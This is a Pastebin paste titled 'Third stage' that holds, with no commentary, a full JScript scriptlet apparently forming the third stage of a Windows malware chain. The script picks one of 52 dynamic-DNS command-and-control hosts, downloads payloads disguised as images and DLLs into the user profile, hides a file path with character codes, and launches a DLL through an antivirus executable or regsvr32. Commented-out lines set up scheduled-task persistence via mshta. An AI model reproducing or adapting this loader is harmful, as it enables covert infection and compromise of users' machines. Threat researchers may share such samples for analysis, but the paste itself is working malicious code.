API tools faq
paste
Advertisement
James_inthe_box

Third stage

James_inthe_box
Jul 4th, 2018
557
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 18.34 KB | None | 0 0
raw download clone embed print report
  1. <?xml version="1.0" encoding="ISO-8859-1"?>
  2. <scriptlet>
  3. <registration
  4. progid="Mjsyeikeiwr"
  5. classid="{10001111-0000-0000-0000-0000FEEDACDC}" >
  6. </registration>
  7. <script language="JScript">
  8. <![CDATA[
  9.  
  10.  
  11.  
  12. function Sleep(seconds){
  13. var StartTime = new Date();
  14. var datet = 0;
  15. while(datet < (seconds * 1000)){
  16. var EndTime = new Date();
  17. var datet = EndTime.getTime() - StartTime.getTime();
  18. }
  19. }
  20.  
  21.  
  22. function Bxaki(url, file)
  23. {
  24. var data;
  25. var ado;
  26.  
  27. try
  28. {
  29. var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
  30.  
  31. // ResolveTimeout, ConnectTimeout, SendTimeout, ReceiveTimeout
  32. WinHttpReq.SetTimeouts(120000, 120000, 120000, 120000);
  33.  
  34. void(WinHttpReq.Open("GET", url, false));
  35. WinHttpReq.Send();
  36. if (WinHttpReq.Status == 404)
  37. {
  38. return false;
  39. }
  40. data = WinHttpReq.ResponseBody;
  41. }
  42. catch (ex)
  43. {
  44. //WScript.Echo("Error downloading file: " + ex.message);
  45. return false;
  46. }
  47.  
  48. ado = new ActiveXObject("ADODB.Stream");
  49. ado.Type = 1; // binary mode
  50. ado.Open();
  51. ado.Write(data);
  52. ado.SaveToFile(file, 2); // 2 = overwrite existing file
  53. ado.Close();
  54.  
  55. return true;
  56. }
  57.  
  58. function radador(min, max)
  59. {
  60. return Math.round(Math.random()*(max-min)+min)
  61. }
  62.  
  63.  
  64. var xLuciferxs;
  65. var xCaverax;
  66. var xVRXastaroth;
  67. var xVRXastaroth2;
  68. var ss1;
  69. var stem1;
  70. var stem2;
  71. var stem3;
  72. var stem4;
  73. var pingadori;
  74. var sVarRaz;
  75. var smaeVar;
  76. var smaeVarTask;
  77. var sEXcVarTask;
  78. var raraiz;
  79. xLuciferxs = false;
  80. xCaverax = false;
  81. var AppWshShell = new ActiveXObject("Scripting.FileSystemObject");
  82. var WshShell = new ActiveXObject("WScript.Shell");
  83. var sdjkhiwewsw = new ActiveXObject("WScript.Shell");
  84. var kdcafex = new ActiveXObject("WScript.Shell");
  85. var MaisShell = new ActiveXObject("WScript.Shell");
  86. var xxWshShell = new ActiveXObject("WScript.Shell");
  87. var masterAppData = new ActiveXObject("WScript.Shell");
  88.  
  89. xCaverax = false;
  90.  
  91. pingadori = radador(1,52);
  92. smaeVar = String.fromCharCode(48)+String.fromCharCode(49)+String.fromCharCode(47);
  93.  
  94. if (pingadori == 1)
  95. {
  96. xVRXastaroth = "setor900.jetos.com"
  97. }
  98. if (pingadori == 2)
  99. {
  100. xVRXastaroth = "setor800.itemdb.com"
  101. }
  102. if (pingadori == 3)
  103. {
  104. xVRXastaroth = "setor001.youdontcare.com"
  105. }
  106. if (pingadori == 4)
  107. {
  108. xVRXastaroth = "setor543.itsaol.com"
  109. }
  110. if (pingadori == 5)
  111. {
  112. xVRXastaroth = "setor0po.yourtrap.com"
  113. }
  114. if (pingadori == 6)
  115. {
  116. xVRXastaroth = "dolar-pp.youdontcare.com"
  117. }
  118. if (pingadori == 7)
  119. {
  120. xVRXastaroth = "dolar-pp.youdontcare.com"
  121. }
  122. if (pingadori == 8)
  123. {
  124. xVRXastaroth = "dotor-pot.jetos.com"
  125. }
  126. if (pingadori == 9)
  127. {
  128. xVRXastaroth = "reboot66.dns04.com"
  129. }
  130. if (pingadori == 10)
  131. {
  132. xVRXastaroth = "reboot.jungleheart.com"
  133. }
  134. if (pingadori == 11)
  135. {
  136. xVRXastaroth = "reboot66.dns04.com"
  137. }
  138. if (pingadori == 12)
  139. {
  140. xVRXastaroth = "reboot05.qpoe.com"
  141. }
  142. if (pingadori == 13)
  143. {
  144. xVRXastaroth = "reboot43.jetos.com"
  145. }
  146. if (pingadori == 14)
  147. {
  148. xVRXastaroth = "flare.americanunfinished.com"
  149. }
  150. if (pingadori == 15)
  151. {
  152. xVRXastaroth = "flare909.qpoe.com"
  153. }
  154. if (pingadori == 16)
  155. {
  156. xVRXastaroth = "flare87.isasecret.com"
  157. }
  158. if (pingadori == 17)
  159. {
  160. xVRXastaroth = "filadel.dns05.com"
  161. }
  162. if (pingadori == 18)
  163. {
  164. xVRXastaroth = "flare910.dynamic-dns.net"
  165. }
  166. if (pingadori == 19)
  167. {
  168. xVRXastaroth = "token-890.zyns.com"
  169. }
  170. if (pingadori == 20)
  171. {
  172. xVRXastaroth = "token-435.my03.com"
  173. }
  174. if (pingadori == 21)
  175. {
  176. xVRXastaroth = "token-56.zyns.com"
  177. }
  178. if (pingadori == 22)
  179. {
  180. xVRXastaroth = "token-14.sexxxy.biz"
  181. }
  182. if (pingadori == 23)
  183. {
  184. xVRXastaroth = "token-8-0.youdontcare.com"
  185. }
  186. if (pingadori == 24)
  187. {
  188. xVRXastaroth = "laguerra.yourtrap.com"
  189. }
  190. if (pingadori == 25)
  191. {
  192. xVRXastaroth = "jesse10.compress.to"
  193. }
  194. if (pingadori == 26)
  195. {
  196. xVRXastaroth = "tuco-salamanca.dynamic-dns.net"
  197. }
  198. if (pingadori == 27)
  199. {
  200. xVRXastaroth = "mike-ehrmantraut.wikaba.com"
  201. }
  202. if (pingadori == 28)
  203. {
  204. xVRXastaroth = "carl-grimes.dumb1.com"
  205. }
  206. if (pingadori == 29)
  207. {
  208. xVRXastaroth = "daryl-dixon.2waky.com"
  209. }
  210. if (pingadori == 30)
  211. {
  212. xVRXastaroth = "glenn-rhee.fartit.com"
  213. }
  214. if (pingadori == 31)
  215. {
  216. xVRXastaroth = "michonne.ddns.info"
  217. }
  218. if (pingadori == 32)
  219. {
  220. xVRXastaroth = "michonne.ddns.info"
  221. }
  222. if (pingadori == 33)
  223. {
  224. xVRXastaroth = "rick-grimes.mrface.com"
  225. }
  226. if (pingadori == 34)
  227. {
  228. xVRXastaroth = "maggie-greene.instanthq.com"
  229. }
  230. if (pingadori == 35)
  231. {
  232. xVRXastaroth = "carol-peletier.mrbasic.com"
  233. }
  234. if (pingadori == 36)
  235. {
  236. xVRXastaroth = "rosita-espinosa.zyns.com"
  237. }
  238. if (pingadori == 37)
  239. {
  240. xVRXastaroth = "eugene-porter.qpoe.com"
  241. }
  242. if (pingadori == 38)
  243. {
  244. xVRXastaroth = "morgan-jones.mymom.info"
  245. }
  246. if (pingadori == 39)
  247. {
  248. xVRXastaroth = "jamesford.dynamic-dns.net"
  249. }
  250. if (pingadori == 40)
  251. {
  252. xVRXastaroth = "katherine.epac.to"
  253. }
  254. if (pingadori == 41)
  255. {
  256. xVRXastaroth = "jackshephard.longmusic.com"
  257. }
  258. if (pingadori == 42)
  259. {
  260. xVRXastaroth = "sayidjarrah.compress.to"
  261. }
  262. if (pingadori == 43)
  263. {
  264. xVRXastaroth = "johnlocke.wikaba.com"
  265. }
  266. if (pingadori == 44)
  267. {
  268. xVRXastaroth = "hurleyreyes.zzux.com"
  269. }
  270. if (pingadori == 45)
  271. {
  272. xVRXastaroth = "benjaminlinus.dumb1.com"
  273. }
  274. if (pingadori == 46)
  275. {
  276. xVRXastaroth = "boonecarlyle.onedumb.com"
  277. }
  278. if (pingadori == 47)
  279. {
  280. xVRXastaroth = "clairelittleton.youdontcare.com"
  281. }
  282. if (pingadori == 48)
  283. {
  284. xVRXastaroth = "charliepace.yourtrap.com"
  285. }
  286. if (pingadori == 49)
  287. {
  288. xVRXastaroth = "mrkowwiuy.dynamic-dns.net"
  289. }
  290. if (pingadori == 50)
  291. {
  292. xVRXastaroth = "sunhwakwon.2waky.com"
  293. }
  294. if (pingadori == 51)
  295. {
  296. xVRXastaroth = "michaeldawson.toythieves.com"
  297. }
  298. if (pingadori == 52)
  299. {
  300. xVRXastaroth = "richardalpert.itemdb.com"
  301. }
  302.  
  303.  
  304.  
  305.  
  306. xVRXastaroth2 = "ht"+"tp://vrx"+radador(1111111,9999999)+"."+xVRXastaroth+":"+radador(25010,25099)+"/"+ smaeVar;
  307. smaeVarTask = "ht'+'"+"tp://vrx"+radador(1111111,9999999)+"."+xVRXastaroth+":"+radador(25010,25099)+"/temp/?"+radador(11111111,99999999);
  308. sEXcVarTask = "ht'+'"+"tp://vrx"+radador(1111111,9999999)+"."+xVRXastaroth+":"+radador(25010,25099)+"/exc/?"+radador(11111111,99999999);
  309. xVRXastaroth = "ht"+"tp://vrx"+radador(1111111,9999999)+"."+xVRXastaroth+":"+radador(25010,25099)+"/" + smaeVar;
  310.  
  311.  
  312.  
  313.  
  314. sVarRaz = masterAppData.ExpandEnvironmentStrings("%userprofile%")+"\\tempwj";
  315. raraiz = "undefined";
  316.  
  317.  
  318.  
  319.  
  320. //kdcafex.run("cmd /k sc^h^t^a^sks /create /tn co^re_w^ind^ow1 /tr "+String.fromCharCode(34)+"mshta.exe javascript:try{try{javascript:GetObject('script:"+sEXcVarTask+"11');self.close();}catch(e){}}catch(e){};self.close();"+String.fromCharCode(34)+" /sc minute /mo 45 /f && exit",0,false);
  321.  
  322.  
  323.  
  324. try
  325. {
  326. var fso = new ActiveXObject("Scripting.FileSystemObject");
  327. fso.CreateFolder(sVarRaz);
  328. }
  329. catch (ex)
  330. {
  331.  
  332. }
  333.  
  334. try
  335. {
  336. if (AppWshShell.FileExists(sVarRaz+"\\hwasrhela64.dll")){
  337. f = AppWshShell.GetFile(sVarRaz+"\\hwasrhela64.dll");
  338. if (f.size < 10 ){
  339. f.Delete();
  340. f.Close();
  341. }
  342. }
  343. }
  344. catch (ex)
  345. {
  346.  
  347. }
  348.  
  349. try
  350. {
  351. if (!AppWshShell.FileExists(sVarRaz+"\\0128vrxi.log")){
  352. f = AppWshShell.GetFile(sVarRaz+"\\hwasrhela64.dll");
  353. f.Delete();
  354. f.Close();
  355. }
  356. }
  357. catch (ex)
  358. {
  359.  
  360. }
  361.  
  362.  
  363.  
  364. try
  365. {
  366. if (!AppWshShell.FileExists(sVarRaz+"\\0128refor.log")){
  367. f = AppWshShell.GetFile(sVarRaz+"\\hwasrhela64.dll");
  368. f.Delete();
  369. f.Close();
  370. }
  371. }
  372. catch (ex)
  373. {
  374.  
  375. }
  376.  
  377. stem1 = String.fromCharCode(67)+String.fromCharCode(58)+String.fromCharCode(92)+String.fromCharCode(92)+String.fromCharCode(80)+String.fromCharCode(114)+String.fromCharCode(111)+String.fromCharCode(103)+String.fromCharCode(114)+String.fromCharCode(97)+String.fromCharCode(109)+String.fromCharCode(32)+String.fromCharCode(70)+String.fromCharCode(105)+String.fromCharCode(108)+String.fromCharCode(101)+String.fromCharCode(115);
  378. stem2 = String.fromCharCode(92)+String.fromCharCode(92)+String.fromCharCode(65)+String.fromCharCode(86)+String.fromCharCode(65)+String.fromCharCode(83)+String.fromCharCode(84)+String.fromCharCode(32)+String.fromCharCode(83)+String.fromCharCode(111)+String.fromCharCode(102)+String.fromCharCode(116)+String.fromCharCode(119)+String.fromCharCode(97)+String.fromCharCode(114)+String.fromCharCode(101)+String.fromCharCode(92)+String.fromCharCode(92);
  379. stem3 = String.fromCharCode(65)+String.fromCharCode(118)+String.fromCharCode(97)+String.fromCharCode(115)+String.fromCharCode(116)+String.fromCharCode(92)+String.fromCharCode(92)+String.fromCharCode(97)+String.fromCharCode(115)+String.fromCharCode(119)+String.fromCharCode(82)+String.fromCharCode(117)+String.fromCharCode(110)+String.fromCharCode(68)+String.fromCharCode(108)+String.fromCharCode(108)+String.fromCharCode(46)+String.fromCharCode(101)+String.fromCharCode(120)+String.fromCharCode(101);
  380.  
  381.  
  382.  
  383. if (AppWshShell.FileExists(sVarRaz+"\\hwasrhelaa.jpg")){
  384. if (AppWshShell.FileExists(sVarRaz+"\\hwasrhelab.jpg")){
  385. if (AppWshShell.FileExists(sVarRaz+"\\hwasrheladwwn.gif")){
  386. if (AppWshShell.FileExists(sVarRaz+"\\hwasrhelae.jpg")){
  387. if (AppWshShell.FileExists(sVarRaz+"\\hwasrhelaf.jpg")){
  388. if (AppWshShell.FileExists(sVarRaz+"\\hwasrhelag.gif")){
  389. if (AppWshShell.FileExists(sVarRaz+"\\hwasrhelaxa.gif")){
  390.  
  391. if (AppWshShell.FileExists(sVarRaz+"\\hwasrhela64.dll")){
  392.  
  393. ss1 = "hwasrhela64.dll";
  394. if (AppWshShell.FileExists(stem1+stem2+stem3)){
  395. try
  396. {
  397. xxWshShell.run('"'+stem1+stem2+stem3+'" "'+sVarRaz+"\\"+ss1+'" /dasd /'+radador(0000001,999999999),0,false);
  398. WScript.Quit(666);
  399. }
  400. catch (ex)
  401. {
  402.  
  403. }
  404.  
  405. }
  406.  
  407. if (!AppWshShell.FileExists(stem1+stem2+stem3)){
  408. try
  409. {
  410. xxWshShell.run('regsvr32.exe /s "'+sVarRaz+"\\"+ss1+'"',0,true);
  411. WScript.Quit(666);
  412. }
  413. catch (ex)
  414. {
  415.  
  416. }
  417.  
  418. }
  419. //kdcafex.run("cmd /k sc^h^t^a^sks /create /tn co^re_w^ind^ow1 /tr "+String.fromCharCode(34)+"mshta.exe javascript:try{try{javascript:GetObject('script:"+smaeVarTask+"11');self.close();}catch(e){}}catch(e){};self.close();"+String.fromCharCode(34)+" /sc minute /mo 45 /f && exit",0,false);
  420. WshShell.run("taskkill.exe /f /im mshta.exe",0,true);
  421. xCaverax = true;
  422. WScript.Quit(666);
  423.  
  424.  
  425. }
  426. }
  427. }
  428. }
  429. }
  430. }
  431. }
  432. }
  433.  
  434.  
  435.  
  436. if (xCaverax == false)
  437. {
  438.  
  439.  
  440.  
  441.  
  442. if (! AppWshShell.FileExists(sVarRaz+"\\hwasrhelaa.jpg")){
  443. try
  444. {
  445. xLuciferxs = Bxaki(xVRXastaroth+"hwasrhelaa.jpg.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrhelaa.jpg");
  446. if (xLuciferxs == false) {
  447. Bxaki(xVRXastaroth2+"hwasrhelaa.jpg.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrhelaa.jpg");
  448. }
  449. }
  450. catch (ex)
  451. {
  452.  
  453. }
  454.  
  455. }
  456.  
  457.  
  458. if (! AppWshShell.FileExists(sVarRaz+"\\hwasrhelab.jpg")){
  459. try
  460. {
  461. xLuciferxs = Bxaki(xVRXastaroth+"hwasrhelab.jpg.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrhelab.jpg");
  462. if (xLuciferxs == false) {
  463. Bxaki(xVRXastaroth2+"hwasrhelab.jpg.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrhelab.jpg");
  464. }
  465. }
  466. catch (ex)
  467. {
  468.  
  469. }
  470.  
  471. }
  472.  
  473.  
  474.  
  475. if (! AppWshShell.FileExists(sVarRaz+"\\hwasrhelac.jpg")){
  476. try
  477. {
  478. xLuciferxs = Bxaki(xVRXastaroth+"hwasrhelac.jpg.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrhelac.jpg");
  479. if (xLuciferxs == false) {
  480. Bxaki(xVRXastaroth2+"hwasrhelac.jpg.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrhelac.jpg");
  481. }
  482. }
  483. catch (ex)
  484. {
  485.  
  486. }
  487.  
  488. }
  489.  
  490.  
  491.  
  492.  
  493. if (! AppWshShell.FileExists(sVarRaz+"\\hwasrheladwwn.gif")){
  494. try
  495. {
  496. xLuciferxs = Bxaki(xVRXastaroth+"hwasrheladwwn.gif.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrheladwwn.gif");
  497. if (xLuciferxs == false) {
  498. Bxaki(xVRXastaroth2+"hwasrheladwwn.gif.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrheladwwn.gif");
  499. }
  500. }
  501. catch (ex)
  502. {
  503.  
  504. }
  505.  
  506. }
  507.  
  508.  
  509. if (! AppWshShell.FileExists(sVarRaz+"\\hwasrheladx.gif")){
  510. try
  511. {
  512. xLuciferxs = Bxaki(xVRXastaroth+"hwasrheladx.gif.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrheladx.gif");
  513. if (xLuciferxs == false) {
  514. Bxaki(xVRXastaroth2+"hwasrheladx.gif.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrheladx.gif");
  515. }
  516. }
  517. catch (ex)
  518. {
  519.  
  520. }
  521.  
  522. }
  523.  
  524.  
  525.  
  526. if (! AppWshShell.FileExists(sVarRaz+"\\hwasrhelae.jpg")){
  527. try
  528. {
  529. xLuciferxs = Bxaki(xVRXastaroth+"hwasrhelae.jpg.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrhelae.jpg");
  530. if (xLuciferxs == false) {
  531. Bxaki(xVRXastaroth2+"hwasrhelae.jpg.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrhelae.jpg");
  532. }
  533. }
  534. catch (ex)
  535. {
  536.  
  537. }
  538.  
  539. }
  540.  
  541.  
  542.  
  543. if (! AppWshShell.FileExists(sVarRaz+"\\hwasrhelaf.jpg")){
  544. try
  545. {
  546. xLuciferxs = Bxaki(xVRXastaroth+"hwasrhelaf.jpg.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrhelaf.jpg");
  547. if (xLuciferxs == false) {
  548. Bxaki(xVRXastaroth2+"hwasrhelaf.jpg.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrhelaf.jpg");
  549. }
  550. }
  551. catch (ex)
  552. {
  553.  
  554. }
  555.  
  556. }
  557.  
  558.  
  559. if (! AppWshShell.FileExists(sVarRaz+"\\hwasrhelag.gif")){
  560. try
  561. {
  562. xLuciferxs = Bxaki(xVRXastaroth+"hwasrhelag.gif.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrhelag.gif");
  563. if (xLuciferxs == false) {
  564. Bxaki(xVRXastaroth2+"hwasrhelag.gif.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrhelag.gif");
  565. }
  566. }
  567. catch (ex)
  568. {
  569.  
  570. }
  571. }
  572.  
  573.  
  574.  
  575.  
  576. if (! AppWshShell.FileExists(sVarRaz+"\\hwasrhelagx.gif")){
  577. try
  578. {
  579. xLuciferxs = Bxaki(xVRXastaroth+"hwasrhelagx.gif.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrhelagx.gif");
  580. if (xLuciferxs == false) {
  581. Bxaki(xVRXastaroth2+"hwasrhelagx.gif.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrhelagx.gif");
  582. }
  583. }
  584. catch (ex)
  585. {
  586.  
  587. }
  588. }
  589.  
  590.  
  591.  
  592.  
  593.  
  594.  
  595. if (! AppWshShell.FileExists(sVarRaz+"\\hwasrhelaxa.gif")){
  596. try
  597. {
  598. xLuciferxs = Bxaki(xVRXastaroth+"hwasrhelaxa.gif.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrhelaxa.gif");
  599. if (xLuciferxs == false) {
  600. Bxaki(xVRXastaroth2+"hwasrhelaxa.gif.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrhelaxa.gif");
  601. }
  602. }
  603. catch (ex)
  604. {
  605.  
  606. }
  607.  
  608. }
  609.  
  610.  
  611. if (! AppWshShell.FileExists(sVarRaz+"\\hwasrhelaxb.gif")){
  612. try
  613. {
  614. xLuciferxs = Bxaki(xVRXastaroth+"hwasrhelaxb.gif.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrhelaxb.gif");
  615. if (xLuciferxs == false) {
  616. Bxaki(xVRXastaroth2+"hwasrhelaxb.gif.zip?"+radador(0000001,999999999),sVarRaz+"\\hwasrhelaxb.gif");
  617. }
  618. }
  619. catch (ex)
  620. {
  621.  
  622. }
  623.  
  624. }
  625.  
  626.  
  627.  
  628. //kdcafex.run("cmd /k sc^h^t^a^sk^s /create /tn co^re_w^ind^ow1 /tr "+String.fromCharCode(34)+"mshta.exe javascript:try{try{javascript:GetObject('script:"+smaeVarTask+"11');self.close();}catch(e){}}catch(e){};self.close();"+String.fromCharCode(34)+" /sc minute /mo 77 /f && exit",0,false);
  629.  
  630.  
  631. try
  632. {
  633. xLuciferxs = Bxaki(xVRXastaroth+"/rr.php?xxyz=r2.log&abcd=128_tesla&x="+radador(0000001,999999999),sVarRaz+"\\r2.log");
  634. if (xLuciferxs == false) {
  635. Bxaki(xVRXastaroth2+"/rr.php?xxyz=r2.log&abcd=128_tesla&x="+radador(0000001,999999999),sVarRaz+"\\r2.log");
  636. }
  637. }
  638. catch (ex)
  639. {
  640.  
  641. }
  642.  
  643.  
  644.  
  645.  
  646.  
  647. try
  648. {
  649. xLuciferxs = Bxaki(xVRXastaroth+"gerarh1v128.php?"+radador(0000001,999999999),sVarRaz+"\\hwasrhela98.dll");
  650. if (xLuciferxs == false) {
  651. Bxaki(xVRXastaroth2+"gerarh1v128.php?"+radador(0000001,999999999),sVarRaz+"\\hwasrhela98.dll");
  652. }
  653. }
  654. catch (ex)
  655. {
  656.  
  657. }
  658.  
  659.  
  660. try
  661. {
  662. xLuciferxs = Bxaki(xVRXastaroth+"gerarhv128.php?"+radador(0000001,999999999),sVarRaz+"\\hwasrhela64.dll");
  663. if (xLuciferxs == false) {
  664. Bxaki(xVRXastaroth2+"gerarhv128.php?"+radador(0000001,999999999),sVarRaz+"\\hwasrhela64.dll");
  665. }
  666. }
  667. catch (ex)
  668. {
  669.  
  670. }
  671.  
  672.  
  673.  
  674.  
  675. stem4 = sVarRaz+"\\hwasrhela64"+radador(0000001,999999999)+".dll";
  676. if (! AppWshShell.FileExists(stem4)){
  677. try
  678. {
  679. xLuciferxs = Bxaki(xVRXastaroth+"gerarhv128.php?"+radador(0000001,999999999),stem4);
  680. if (xLuciferxs == false) {
  681. Bxaki(xVRXastaroth2+"gerarhv128.php?"+radador(0000001,999999999),stem4);
  682. }
  683. }
  684. catch (ex)
  685. {
  686.  
  687. }
  688.  
  689. }
  690.  
  691.  
  692.  
  693.  
  694.  
  695.  
  696. if (AppWshShell.FileExists(stem4)){
  697.  
  698. var WSh = new ActiveXObject("WScript.Shell");
  699. var ShA = new ActiveXObject("Shell.Application");
  700.  
  701.  
  702. ss1 = "hwasrhela64.dll";
  703. if (AppWshShell.FileExists(stem1+stem2+stem3)){
  704. try
  705. {
  706. //xxWshShell.run('"'+stem1+stem2+stem3+'" "'+sVarRaz+"\\"+ss1+'" /kct'+radador(0000001,999999999),0,true);
  707. ShA.ShellExecute(stem1+stem2+stem3,' "'+sVarRaz+"\\"+stem4+'" /kct'+radador(0000001,999999999), " ", "open", 0);
  708. WScript.Quit(666);
  709. }
  710. catch (ex)
  711. {
  712.  
  713. }
  714.  
  715. }
  716.  
  717. if (!AppWshShell.FileExists(stem1+stem2+stem3)){
  718. try
  719. {
  720. //xxWshShell.run('regsvr32.exe /s "'+sVarRaz+"\\"+stem4+'"',0,true);
  721. ShA.ShellExecute("regsvr32.exe",' /s "'+sVarRaz+"\\"+stem4+'"', " ", "open", 0);
  722. WScript.Quit(666);
  723. }
  724. catch (ex)
  725. {
  726.  
  727. }
  728.  
  729. }
  730. }
  731.  
  732. ss1 = "hwasrhela64.dll";
  733. if (AppWshShell.FileExists(sVarRaz+"\\"+ss1)){
  734. var WSh = new ActiveXObject("WScript.Shell");
  735. var ShA = new ActiveXObject("Shell.Application");
  736.  
  737.  
  738. if (AppWshShell.FileExists(stem1+stem2+stem3)){
  739. try
  740. {
  741. //xxWshShell.run('"'+stem1+stem2+stem3+'" "'+sVarRaz+"\\"+ss1+'" /kct'+radador(0000001,999999999),0,true);
  742. ShA.ShellExecute(stem1+stem2+stem3,' "'+sVarRaz+"\\"+ss1+'" /kct'+radador(0000001,999999999), " ", "open", 0);
  743. WScript.Quit(666);
  744. }
  745. catch (ex)
  746. {
  747.  
  748. }
  749.  
  750. }
  751.  
  752. if (!AppWshShell.FileExists(stem1+stem2+stem3)){
  753. try
  754. {
  755. //xxWshShell.run('regsvr32.exe /s "'+sVarRaz+"\\"+ss1+'"',0,true);
  756. ShA.ShellExecute("regsvr32.exe",' /s "'+sVarRaz+"\\"+ss1+'"', " ", "open", 0);
  757. WScript.Quit(666);
  758. }
  759. catch (ex)
  760. {
  761.  
  762. }
  763.  
  764. }
  765. }
  766.  
  767.  
  768.  
  769. }
  770.  
  771.  
  772.  
  773.  
  774.  
  775.  
  776.  
  777.  
  778. ]]>
  779. </script>
  780. </scriptlet>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!